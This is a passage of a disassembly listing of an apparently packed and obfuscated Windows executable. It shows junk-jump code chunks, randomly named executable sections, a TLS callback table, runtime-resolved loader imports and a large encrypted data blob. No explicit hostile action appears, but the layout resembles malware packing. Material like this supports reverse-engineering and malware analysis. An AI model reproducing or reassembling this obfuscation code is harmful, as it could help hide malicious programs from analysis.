		add	edx, 4
		jmp	loc_42C94E
; END OF FUNCTION CHUNK	FOR sub_42936E
; ---------------------------------------------------------------------------


loc_42FAAB:				; CODE XREF: _7hdaygc1:004292F6j
		jz	loc_4289A6
		jmp	loc_429F73
; ---------------------------------------------------------------------------


loc_42FAB6:				; CODE XREF: _7hdaygc1:00425479j
		sub	ebx, eax

; =============== S U B	R O U T	I N E =======================================



sub_42FAB8	proc near		; CODE XREF: _7hdaygc1:loc_427257p

; FUNCTION CHUNK AT 004231B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423244 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004240F3 SIZE 0000001C BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	2BCC74Ch
		pop	edx
		or	edx, 0FC7A5753h
		jmp	loc_4231B7
sub_42FAB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_42FACE:				; CODE XREF: sub_4282A9:loc_42D220j
		jnz	loc_42B554
		shr	edi, 1Eh
		jmp	loc_42B54E
; END OF FUNCTION CHUNK	FOR sub_4282A9
; ---------------------------------------------------------------------------


loc_42FADC:				; CODE XREF: _7hdaygc1:0042443Bj
		jnz	loc_42E57A
		jmp	loc_42A63E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42FAE7:				; CODE XREF: sub_42AA07+E85j
		mov	ebp, [ebx]
		pop	edi
		mov	ebx, [eax]
		mov	ebp, ebx
		jmp	loc_426666
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB44


loc_42FAF3:				; CODE XREF: sub_42DB44:loc_42495Ej
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000003h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		jmp	loc_4257E9
; END OF FUNCTION CHUNK	FOR sub_42DB44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BA2C


loc_42FB07:				; CODE XREF: sub_42BA2C:loc_428FDDj
					; sub_42BA2C-1898j
		call	sub_42D757
		mov	edx, 4CB976E9h
		push	edi
		call	sub_4268BD


loc_42FB17:				; CODE XREF: sub_425735+6C6j
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_42BA2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42FB1C:				; CODE XREF: sub_423648+9AD0j
		mov	[ebp-1Ch], eax
		js	loc_42D646
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_427474[eax*4]
		mov	[ebp-8], eax
		jmp	loc_42D637
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------


loc_42FB3A:				; CODE XREF: _7hdaygc1:00424B5Ej
		shr	ecx, 11h
		xor	edx, eax
		jmp	loc_4238DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42FB44:				; CODE XREF: sub_425E64+78DBj
		jl	loc_42F192
		jmp	loc_424F99
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_42FB4F:				; CODE XREF: sub_42F152:loc_426166j
		jge	loc_42AF2B
		jmp	loc_425D5A
; END OF FUNCTION CHUNK	FOR sub_42F152
; ---------------------------------------------------------------------------
		cmp	edx, 0AA8F5D64h
		jmp	loc_42D04E
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 17h
		jmp	loc_42B7C1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FB6E	proc near		; CODE XREF: sub_42B942j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		call	sub_423172
sub_42FB6E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42AE9C


loc_42FB79:				; CODE XREF: sub_42AE9C+87Fj
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_42AE9C
; ---------------------------------------------------------------------------


loc_42FB7E:				; CODE XREF: _7hdaygc1:00423386j
		jbe	loc_42A762
		pop	edi
		jmp	loc_42F5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_42FB8A:				; CODE XREF: sub_42ABF7:loc_42AC07j
		pop	eax
		rol	eax, 8
		add	eax, 738252C4h
		call	sub_42F967


loc_42FB99:				; CODE XREF: _7hdaygc1:0042E1D5j
		jmp	loc_423DD0
; END OF FUNCTION CHUNK	FOR sub_42ABF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42FB9E:				; CODE XREF: sub_424963+5245j
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BD51


loc_42FBA3:				; CODE XREF: sub_42BD51:loc_42FD50j
		mov	esp, ebp
		xchg	ebx, [esp-8+arg_4]
		mov	ebp, ebx
		pop	ebx

locret_42FBAB:				; CODE XREF: _7hdaygc1:loc_4297CEj
		retn
; END OF FUNCTION CHUNK	FOR sub_42BD51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42FBAC:				; CODE XREF: sub_425752+9E3Aj
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_42FBB1:				; CODE XREF: sub_42F3C8+Ej
		jmp	loc_42CD94
; END OF FUNCTION CHUNK	FOR sub_42F3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42948A


loc_42FBB6:				; CODE XREF: sub_42948A-2DADj
		jmp	loc_42D41F
; END OF FUNCTION CHUNK	FOR sub_42948A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428613


loc_42FBBB:				; CODE XREF: sub_428613-4DA5j
		push	edx
		jmp	loc_427F4A
; END OF FUNCTION CHUNK	FOR sub_428613
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42FBC1:				; CODE XREF: sub_42D9E1-A907j
		mov	ebp, eax
		pop	eax
		mov	eax, ds:dword_42E534
		or	eax, eax
		jmp	loc_427F5A
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------


loc_42FBD1:				; CODE XREF: _7hdaygc1:loc_42A578j
		call	sub_426064
; START	OF FUNCTION CHUNK FOR sub_42B14C


loc_42FBD6:				; CODE XREF: sub_42B14C+11j
		jmp	loc_427EBA
; END OF FUNCTION CHUNK	FOR sub_42B14C
; ---------------------------------------------------------------------------


loc_42FBDB:				; CODE XREF: _7hdaygc1:loc_42352Dj
		jz	loc_424077
		jmp	loc_4259FE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42FBE7:				; CODE XREF: _7hdaygc1:0042FDC2j
		jmp	loc_4235CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42FBEC:				; CODE XREF: sub_42EBD6:loc_42E5D6j
		jnz	loc_42D294
		jmp	loc_42869D
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------


loc_42FBF7:				; CODE XREF: _7hdaygc1:0042F862j
		mov	ecx, edi
		jmp	sub_42BD51
; ---------------------------------------------------------------------------
		jl	loc_42358F
		jmp	loc_42F522
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E56


loc_42FC09:				; CODE XREF: sub_428E56:loc_42DDDEj
		popf
		jmp	loc_42D4C6
; END OF FUNCTION CHUNK	FOR sub_428E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42FC0F:				; CODE XREF: sub_4291EA+577Ej
		not	edi
		jmp	loc_4297F8
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
		adc	edi, eax
		jmp	sub_424F0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_42FC1D:				; CODE XREF: sub_42CFDA-2366j
					; _7hdaygc1:0042EEF3j
		xor	edx, 0BE968921h
		push	offset sub_426E2E
		jmp	nullsub_161
; END OF FUNCTION CHUNK	FOR sub_42CFDA

; =============== S U B	R O U T	I N E =======================================



sub_42FC2D	proc near		; DATA XREF: _7hdaygc1:00426398o
		push	eax
		ror	eax, 0Eh
		mov	ds:dword_42E1C4, eax
		jmp	locret_428726
sub_42FC2D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CBB


loc_42FC3C:				; CODE XREF: sub_426CBBj
		push	edi
		mov	edi, ebp
		jmp	loc_42BA0B
; END OF FUNCTION CHUNK	FOR sub_426CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B49


loc_42FC44:				; CODE XREF: sub_429B49:loc_428943j
		push	0B3E86303h
		pop	edi
		add	edi, 175EEB9Fh
		sub	edi, 0BDC05D11h
		add	edi, 54B7B317h
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		jmp	loc_423B79
; END OF FUNCTION CHUNK	FOR sub_429B49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427248


loc_42FC66:				; CODE XREF: sub_427248+Aj
					; _7hdaygc1:loc_42D5CDj
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		jmp	loc_42A99E
; END OF FUNCTION CHUNK	FOR sub_427248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42FC73:				; CODE XREF: sub_4232DA+4E63j
		js	loc_42BA64
		cmp	ebx, 67E84EAFh
		jmp	loc_42BF5B
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42FC84:				; CODE XREF: sub_42525E:loc_423DA9j
					; sub_423DDB+B10Aj
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_424251


loc_42FC90:				; CODE XREF: sub_42EF77-1ECCj
		js	loc_42C7E2
		call	sub_4273CA
; END OF FUNCTION CHUNK	FOR sub_423DDB
; START	OF FUNCTION CHUNK FOR sub_429412


loc_42FC9B:				; CODE XREF: sub_429412+3164j
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_429412
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42FCA1:				; CODE XREF: _7hdaygc1:00426D00j
		jmp	locret_42A4AF
; ---------------------------------------------------------------------------


loc_42FCA6:				; CODE XREF: _7hdaygc1:00428DAEj
		push	edi
		mov	edx, [ebx]
		jmp	loc_4290C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_42FCAE:				; CODE XREF: sub_42F789:loc_42D60Fj
		setz	al
		call	sub_42A3F7
		pop	ecx
		shl	eax, 3
		jmp	loc_4280F7
; END OF FUNCTION CHUNK	FOR sub_42F789
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_42FCC0:				; CODE XREF: sub_4270E6:loc_428088j
		jb	loc_424593
		sbb	eax, ecx
		jmp	loc_423850
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------


loc_42FCCD:				; CODE XREF: _7hdaygc1:0042AD11j
		jnp	loc_42B950

; =============== S U B	R O U T	I N E =======================================



sub_42FCD3	proc near		; CODE XREF: sub_42EB0D-2F94p

; FUNCTION CHUNK AT 0042579E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B116 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042B7CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C962 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042F926 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jl	loc_4237F0
		call	sub_42BCF6


loc_42FCE2:				; CODE XREF: _7hdaygc1:00423FFEj
		jmp	loc_42B116
sub_42FCD3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426978


loc_42FCE7:				; CODE XREF: sub_426978+13j
		and	eax, 6CA84A5Dh
		test	eax, 800h
		jmp	loc_42933A
; END OF FUNCTION CHUNK	FOR sub_426978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_42FCF8:				; CODE XREF: sub_42C209+2FFDj
		xor	eax, ebp
		mov	[ebp+0], esi


loc_42FCFD:				; CODE XREF: sub_42C209:loc_423E9Dj
		mov	byte ptr [ebp-20h], 2Dh
		inc	dword ptr [ebp-10h]
		neg	dword ptr [ebp-8]


loc_42FD07:				; CODE XREF: sub_42C209-2AD1j
		push	offset loc_42529A
		jmp	loc_428475
; END OF FUNCTION CHUNK	FOR sub_42C209

; =============== S U B	R O U T	I N E =======================================



sub_42FD11	proc near		; DATA XREF: sub_4280AB+8o

; FUNCTION CHUNK AT 004235D4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424CC8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004251BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425573 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00425E5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426D9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004285E6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00429E18 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042EC3C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042F44B SIZE 0000000B BYTES

		call	sub_424DF3
		test	al, al
		jz	loc_42F44B
		jmp	loc_426D9D
sub_42FD11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42FD23:				; DATA XREF: sub_424744+9093o
		push	eax
		call	sub_42B650
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42FD2A	proc near		; CODE XREF: sub_42B9CE-7CECj
					; sub_4253A0:loc_424DFBp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B60C SIZE 00000003 BYTES

		jo	sub_42A4F1
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]


loc_42FD36:				; CODE XREF: sub_425C2C+4DC7j
		mov	ebp, esp
		jmp	loc_42B60C
sub_42FD2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_42FD3D:				; CODE XREF: sub_42CCDD+25DBj
		adc	ebx, edx
		mov	eax, ebp


loc_42FD41:				; CODE XREF: sub_42CCDD:loc_42B720j
		call	sub_4272FB
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42FD46:				; CODE XREF: sub_429318+5195j
		jmp	loc_42A8A2
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_42FD4B:				; CODE XREF: _7hdaygc1:0042B81Ej
		jmp	loc_42F5F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BD51


loc_42FD50:				; CODE XREF: sub_42BD51-4050j
		jmp	loc_42FBA3
; END OF FUNCTION CHUNK	FOR sub_42BD51
; ---------------------------------------------------------------------------


loc_42FD55:				; CODE XREF: _7hdaygc1:0042ABB9j
		or	esi, ebp
		test	ecx, 223C0455h
		jmp	loc_423201
; ---------------------------------------------------------------------------


loc_42FD62:				; CODE XREF: _7hdaygc1:0042A66Cj
		jbe	loc_423380

; =============== S U B	R O U T	I N E =======================================



sub_42FD68	proc near		; CODE XREF: sub_429318:loc_42F895p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425770 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00425839 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C45B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042E13C SIZE 00000014 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, eax
		push	ecx
		push	90F776BCh
		jmp	loc_425839
sub_42FD68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	ecx, 6
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42FD7C:				; CODE XREF: sub_4268D9:loc_42610Fj
		add	ebx, 70C49E24h
		jmp	sub_426A39
; END OF FUNCTION CHUNK	FOR sub_4268D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42FD87:				; CODE XREF: sub_42C50D:loc_42CDE7j
		jz	loc_423D3A
		jmp	loc_42C3FB
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A94C


loc_42FD92:				; CODE XREF: sub_42A94C+12j
		mov	[ebp+var_4], eax
		push	offset loc_42CC36
		jmp	loc_42999E
; END OF FUNCTION CHUNK	FOR sub_42A94C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_42FD9F:				; CODE XREF: sub_42ABF7-3C6Dj
		jge	loc_42D278
		xor	esi, ecx
		pop	ecx
		sbb	ecx, eax
		jmp	loc_429176
; END OF FUNCTION CHUNK	FOR sub_42ABF7
; ---------------------------------------------------------------------------


loc_42FDAF:				; CODE XREF: _7hdaygc1:0042C6DCj
		jz	loc_4253CA
		sbb	ebx, eax
		jmp	loc_4241D8
; ---------------------------------------------------------------------------


loc_42FDBC:				; CODE XREF: _7hdaygc1:0042DEEFj
		jnz	loc_42ACF4
		jmp	loc_42FBE7
; ---------------------------------------------------------------------------
		db 87h
		dd 19F4A61h, 24B69B8Ah,	9F7C6411h, 5D80ABh, 8Ah	dup(0)
_7hdaygc1	ends

; Section 5. (virtual address 00030000)
; Virtual size			: 0000F000 (  61440.)
; Section size in file		: 0000F000 (  61440.)
; Offset to raw	data for section: 00030000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_5qvhby1c	segment	para public 'CODE' use32
		assume cs:_5qvhby1c
		;org 430000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		db 0CCh
		align 2
		dw 3
		align 8
		dd 0FFFFFFFFh, 3003Ch, 300B4h, 30108h, 0
		dd 0FFFFFFFFh, 300E8h, 30104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h
dword_43005C	dd 4165h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 65470000h
					; DATA XREF: UPX1:0041A720o
		dd 6F725074h, 64644163h, 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_4300B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4300B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4300BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4300C0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; _5qvhby1c:0043C0A4o ...
dword_4300C4	dd 7C809A51h, 7C809AE4h, 3004Ch, 30060h, 30070h, 30084h
; resolved to->KERNEL32.VirtualAlloc					; DATA XREF: sub_43E113+1Eo
		dd 30094h, 300A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_430104	dd 7E45058Ah	; resolved to->USER32.MessageBoxA		dd 300F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: _5qvhby1c:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: _5qvhby1c:TlsCallbacks_ptro
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld


loc_43013E:				; CODE XREF: _5qvhby1c:00430155j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_430154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4


loc_430154:				; CODE XREF: _5qvhby1c:00430144j
		dec	ecx
		jg	short loc_43013E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset dword_422000
		dd 200434Ah, 0
		dd 47BC0000h, 111D2091h, 0B00A1208h, 41D80008h,	0DFA49ED0h
		dd 0F41630A3h, 13EB709h, 0C84F4287h, 74138925h,	5D84A3C9h
		dd 5268E94Ah, 2011F980h, 62020E34h, 15B9A915h, 198C0C1h
		dd 0BA303B90h, 608A0022h, 152E8584h, 0A7141AC3h, 0E6528B52h
		dd 6244A64Ch, 0AAC5EA21h, 90356825h, 9112A14h, 0CF50B25Bh
		dd 402FA6D4h, 28B4EA55h, 0C618A7D3h, 80C01AA9h,	9554AA74h
		dd 305D24C1h, 66BEF07Eh, 94CB5738h, 0D15B9C00h,	0E45C7D84h
		dd 82074D8Ah, 2DD29DE6h, 0DF63147Bh, 245CA06Ah,	90203764h
		dd 1690DDCCh, 76BA516Fh, 0E8764703h, 0CBD20C59h, 5205C3C6h
		dd 82D4C9DEh, 4804B48h,	1FBAED06h, 8829270Bh, 0CEE1DD0Ah
		dd 0DB8E1BBDh, 916072B4h, 2244D98Eh, 1DDCh, 0
		dd 30000000h, 434A0042h, 0CDD7h, 0
		dd 20C8F8D1h, 0BE77A3FEh, 4BB37FDDh, 747934A9h,	67A40A36h
		dd 7FC87E17h, 7D142244h, 0B7215FCh, 0F03E9AEh, 0AD44EA01h
		dd 0B9DB8E8h, 0F71B9A11h, 1C1CF406h, 888467FFh,	568DA0FEh
		dd 0E6406717h, 0BADCC332h, 552CA707h, 0C60C1D80h, 3DF0C770h
		dd 0FEB95F23h, 7BABA360h, 61D85E70h, 20D5CC70h,	0C066B942h
		dd 0C0F3737Ah, 7BB5E00Bh, 79F0587Eh, 36078266h,	435B58C5h
		dd 0F6B3A04Bh, 0B4D46E7Ah, 5A6BE442h, 27FDC0FCh, 0E7B38BD4h
		dd 0CCBF0EB1h, 0FE2BBF06h, 1FD4807Eh, 0ACD88A2Fh, 0DA1F81D6h
		dd 5D434316h, 6BF9809Ch, 340C7A4Eh, 8DA8B61Ch, 0C2632500h
		dd 5F95FE62h, 0FD95629Fh, 1C3CD249h, 89325A08h,	58127FA5h
		dd 6A768FCCh, 9E9793ADh, 0E07D7448h, 0DD2B1E5Fh, 0C7C8CBC7h
		dd 0E2A5FF73h, 8D3D46D6h, 0F3E886Ch, 0C62C03BEh, 0AB6EE202h
		dd 20044EF4h, 0A1FA21A9h, 9A7A8C61h, 0EB321143h, 9FE5DADDh
		dd 3A1941B0h, 86DB11B8h, 7D7015D5h, 0DD2BE033h,	68E482C5h
		dd 4E148DD5h, 0D8EEAE18h, 0A9787972h, 717A3C25h, 0F141E144h
		dd 0FC2959E6h, 0B0A51C9Dh, 0A0255A5Fh, 0E80AEAB0h, 0D37562Bh
		dd 0B8B82D23h, 0CA0B109Eh, 8C43A6h, 68CA0C37h, 877168F3h
		dd 6E6B786Ch, 3CF2498Bh, 0E38CD56Bh, 0FB83BEF9h, 2CC121CAh
		dd 0A5A1B883h, 352D2BA2h, 0FD0176E1h, 8813EA1Ch, 6D2C2284h
		dd 6980E580h, 0ACD22F59h, 1BDC758Eh, 67D2B45Ah,	6794214Eh
		dd 0A942386Dh, 0F05B3091h, 0DAAB7910h, 99E152E9h, 6675EA3Ch
		dd 13F3A8D8h, 4DA44FDEh, 3B3DADCh, 3F118B9Ah, 824607EDh
		dd 30A6EBB4h, 987F491Bh, 0B7C64846h, 0B10FC161h, 0AAE0A133h
		dd 0F9842F47h, 0B7C36802h, 0DF9D0D39h, 0DF9C78B9h, 9AB4B23Eh
		dd 551DCDEEh, 611B6901h, 0C0F0BE51h, 0EB19FC4Ch, 0AB4D036h
		dd 0CEE968D9h, 44F7456Bh, 0D81F71A8h, 0AF6F305Fh, 0CD098ED6h
		dd 0E25C1E34h, 41B352F2h, 52EA6403h, 21884214h,	55312A63h
		dd 5A1BA0Dh, 0CB54361Ah, 62B341F7h, 0BED925DAh,	32ED4257h
		dd 6CF0A049h, 0E94DB83Eh, 781A92CBh, 497FE540h,	90F4185Dh
		dd 70F7E81Fh, 3703C18Ah, 0D77EFF5Bh, 4772681Eh,	7A1A8677h
		dd 0F1C9256h, 0D88EC0F8h, 8CF74141h, 4D66A767h,	14FB37DEh
		dd 2846870Fh, 2C5130EEh, 0D7565427h, 9B8B3411h,	3A67079h
		dd 6FB97230h, 86B96A26h, 3B132901h, 0DD366DB2h,	0C886E91Bh
		dd 17ABC0F4h, 6F548B46h, 0A80B68FBh, 0C3C503Ah,	1A983D0Ah
		dd 0F60D3DD7h, 0E794AF6h, 0FB6A91BCh, 0FB0B47AEh, 0CB071A69h
		dd 0D4DD43C3h, 2992D165h, 607FB035h, 0E1D04F79h, 0FBB47887h
		dd 938249BCh, 931B03CEh, 0CDBE70h, 0A629EC82h, 21A3E02Dh
		dd 7B420F52h, 3F078586h, 1FB611ECh, 15C3EFC1h, 0BF6AADF2h
		dd 55AB2D32h, 0C3337255h, 1B301AD8h, 0FE30FC0Eh, 96361810h
		dd 0BEF01AD1h, 899DFCC1h, 0EEFB42C0h, 5BEF9CB4h, 30A70903h
		dd 0A489D50h, 0A16C1F12h, 10756E74h, 0EC686D1Fh, 3DFCCAE6h
		dd 0A231CFC1h, 0C9BF24D4h, 4C253589h, 0D648BFBEh, 0EFE8E3E0h
		dd 3DBE5847h, 6229F908h, 0DE569AA7h, 8B3768B0h,	5F9B31B2h
		dd 5A951FE6h, 849C2A0Bh, 9079D5EAh, 0EF0A080Ah,	0DB7F280Ah
		dd 0F6B65550h, 1AA170D6h, 830097F6h, 0A6692ADFh, 0E16C75ACh
		dd 0FCAF737h, 99F6B83Ch, 252710D1h, 0FC3C3249h,	513BCD6Eh
		dd 14DC7086h, 0D327BABEh, 6750EAC0h, 0E2F992FCh, 7F1ED34Fh
		dd 0EC50049Dh, 6443D018h, 3F34CB24h, 4E06B795h,	599D28C0h
		dd 4C3FC040h, 5B3EE70h,	4857F7B0h, 1F303C75h, 28D9ED2Ch
		dd 0C0C1B38h, 0E3289EDCh, 1F0C3F0Dh, 0FE794816h, 0DACA94C6h
		dd 5FF72DC5h, 0A9AD030Ch, 0CEAC783Dh, 38BC0093h, 0F571160Bh
		dd 14E32631h, 0E2B0E538h, 4DC40C13h, 30063B60h,	0B3DCFE60h
		dd 7D122CBFh, 0AA8BC1E0h, 42CD7C2Eh, 5A7B2D7Fh,	3B68295Ch
		dd 6E66EF62h, 0B170999Fh, 6B366E3h, 91AEC82Ah, 0F68D141Bh
		dd 0F05D2C7Dh, 61BE0F44h, 0F31F791h, 0A886B43Fh, 6E4783E0h
		dd 81036D93h, 0D83595B8h, 0A37D259h, 0F7EB00ECh, 0E3218B8Dh
		dd 0C0F875B5h, 256DFDE5h, 2F252405h, 7FD034B6h,	755728EEh
		dd 7D7EB206h, 3585264Eh, 5E5B539Dh, 0EFF47CC0h,	6B53D51Eh
		dd 0F696FB61h, 0ABAB389Ch, 8BC74653h, 702FC0CAh, 44D45732h
		dd 767FE64Bh, 0AD26DDDh, 0DA43F1FEh, 0EB40C7E5h, 0A7466CD8h
		dd 5752ACh, 185F6177h, 16EA9621h, 2A8B46A5h, 0DA5AF18Dh
		dd 564ACFEBh, 15C2EE6h,	1F8CBA62h, 5CA73AFCh, 3FAF9CA9h
		dd 7ED5C76Bh, 0D9A6C3F0h, 51692824h, 0F0BE44E9h, 5C15AB00h
		dd 99C85F95h, 126D7C6Eh, 0A16A224Dh, 50A2021Ah,	0B5A30B61h
		dd 0CAB53A53h, 0BE0B0F1Dh, 0AE2F72A1h, 0C1F538C3h, 527EF0FCh
		dd 6ED6D2D1h, 2DE6C739h, 890D5633h, 6D81EFC5h, 0B3D06CE4h
		dd 4CE91B47h, 4A544540h, 0E21A450Ah, 0A890781Ah, 82FCF9ABh
		dd 38902487h, 0E2361050h, 4CFB1A3Fh, 872DE9Bh, 70DE4848h
		dd 7E2F6520h, 52EB0DE1h, 71A19A12h, 97D54406h, 99F1EB16h
		dd 8B9541B9h, 1AA741C5h, 0CE383E8Eh, 0B79F739Eh, 9663F1CAh
		dd 0B106F7Dh, 1B7703E2h, 0D5DC72ADh, 768FE77Ch,	23F5FB5Ah
		dd 0DC0E3BF4h, 234023F7h, 0E1C40888h, 1DB7506Eh, 0B15EACD6h
		dd 0DC88BD55h, 0A1B2E2A9h, 0E29833E0h, 5D598460h, 7B3BCC67h
		dd 0CA638BE9h, 8DE5E370h, 82986425h, 2F0F0315h,	45FDD649h
		dd 57422AEBh, 0E0D8405Bh, 55246514h, 9008780h, 79B1ACCFh
		dd 69C0B8AAh, 0CD84AE34h, 86F6ED15h, 29180419h,	0E439A2C6h
		dd 933759EFh, 0D68AAEE5h, 7DBFB6C2h, 792DF678h,	218862E9h
